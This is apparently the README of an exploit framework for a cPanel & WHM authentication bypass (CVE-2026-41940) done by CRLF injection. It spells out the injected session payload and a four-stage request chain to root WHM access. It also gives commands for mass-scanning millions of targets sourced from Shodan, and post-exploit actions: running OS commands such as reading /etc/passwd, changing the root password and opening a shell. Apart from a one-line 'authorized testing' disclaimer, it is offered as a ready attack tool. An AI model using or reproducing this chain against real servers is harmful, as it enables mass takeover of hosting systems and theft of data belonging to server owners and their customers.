cPanelSniper

CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection
4-stage exploit chain · Interactive WHM Shell · TRUE STABLE for 10M+ targets · Zero memory usage · stdlib only

Overview

cPanelSniper is a focused exploitation framework for CVE-2026-41940, a critical authentication bypass vulnerability affecting cPanel & WHM. The vulnerability allows unauthenticated remote attackers to gain root-level WHM access by injecting CRLF sequences into the session file via the Authorization HTTP header — without any valid credentials.

CVSS Score: 10.0 (Critical)
In-the-wild exploitation: Confirmed (April 2026)
Affected installs: ~70 million domains running cPanel & WHM
No dependencies: Pure Python stdlib — no pip, no requests, no external packages

For authorized penetration testing and bug bounty programs only.

⚡ TRUE STABLE VERSION

This version is optimized for scanning 10,000,000+ targets with ZERO memory usage.

What Was Fixed

Problem	Original Version	Fixed Version
Memory Usage	Loads all targets into RAM	Streams targets line-by-line (0 memory)
10M Targets	OOM → Killed ❌	Completes successfully ✅
Resume	Not supported	`--resume` flag
Progress	No ETA	Real-time ETA + rate + stats
Results	Saved only at end	Saved every 60s (configurable)

Key Features

Streaming architecture - Process 10M+ targets without loading into memory
Zero OOM crashes - Even with very large target lists
Auto-resume - Continue from where you stopped with --resume
Real-time progress - ETA, scan rate, error tracking
Periodic saves - Results auto-saved to prevent data loss
Pipeline ready - Works seamlessly with subfinder, httpx, shodan

How It Works

The root cause lives in Session.pm: the saveSession() function calls filter_sessiondata() after writing the session file to disk. This means CRLF characters embedded in the Authorization: Basic header value are written verbatim into the session file, injecting attacker-controlled fields before sanitization occurs.

Normal flow:
  POST /login/ → filter_sessiondata() → write session → auth check

Vulnerable flow:
  POST /login/ → write session (CRLF payload injected) → filter_sessiondata() → auth check reads poisoned file

The CRLF Payload

The Authorization: Basic value decodes to:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

These fields are written directly into the session file on disk. When read back, cPanel treats the session as a fully authenticated root session.

4-Stage Exploit Chain

┌─────────────────────────────────────────────────────────────┐
│  Stage 0 — Canonical Hostname Discovery                     │
│  GET /openid_connect/cpanelid → 307 → real hostname         │
├─────────────────────────────────────────────────────────────┤
│  Stage 1 — Mint Preauth Session                             │
│  POST /login/?login_only=1  (wrong creds)                   │
│  ← 401 + whostmgrsession cookie                             │
├─────────────────────────────────────────────────────────────┤
│  Stage 2 — CRLF Injection                                   │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd writes CRLF fields into session file                │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  Stage 3 — Propagate (do_token_denied gadget)               │
│  GET /scripts2/listaccts                                    │
│  Triggers raw→cache flush — injected fields become active   │
│  ← 401 Token denied (expected)                              │
├─────────────────────────────────────────────────────────────┤
│  Stage 4 — Verify WHM Root Access                           │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

Affected Versions

Branch	Vulnerable	Patched
110.x	≤ 11.110.0.96	11.110.0.97
118.x	≤ 11.118.0.62	11.118.0.63
126.x	≤ 11.126.0.53	11.126.0.54
132.x	≤ 11.132.0.28	11.132.0.29
134.x	≤ 11.134.0.19	11.134.0.20
136.x	≤ 11.136.0.4	11.136.0.5

Installation

git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

No pip install required. Pure Python 3.8+ stdlib only.

Usage

Basic Scan

# Single target — scan only
python3 cPanelSniper.py -u https://target.com:2087

# Single target — interactive shell after bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# Large target list — 10M+ targets (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# Resume interrupted scan
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

Post-Exploit Actions

# List all cPanel accounts on the server
python3 cPanelSniper.py -u https://target.com:2087 --action list

# Execute OS command
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# Get server info (hostname, load, disk, MySQL host)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# Get cPanel version
python3 cPanelSniper.py -u https://target.com:2087 --action version

# Change root password
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# Interactive WHM shell
python3 cPanelSniper.py -u https://target.com:2087 --action shell

Pipelines (TRUE STABLE for Large Lists)

# subfinder → httpx → save to file → scan 10M+ targets
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# From scope list - handle millions of domains
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Shodan results - massive scan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# stdin pipe - for small lists only (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

cpsniper

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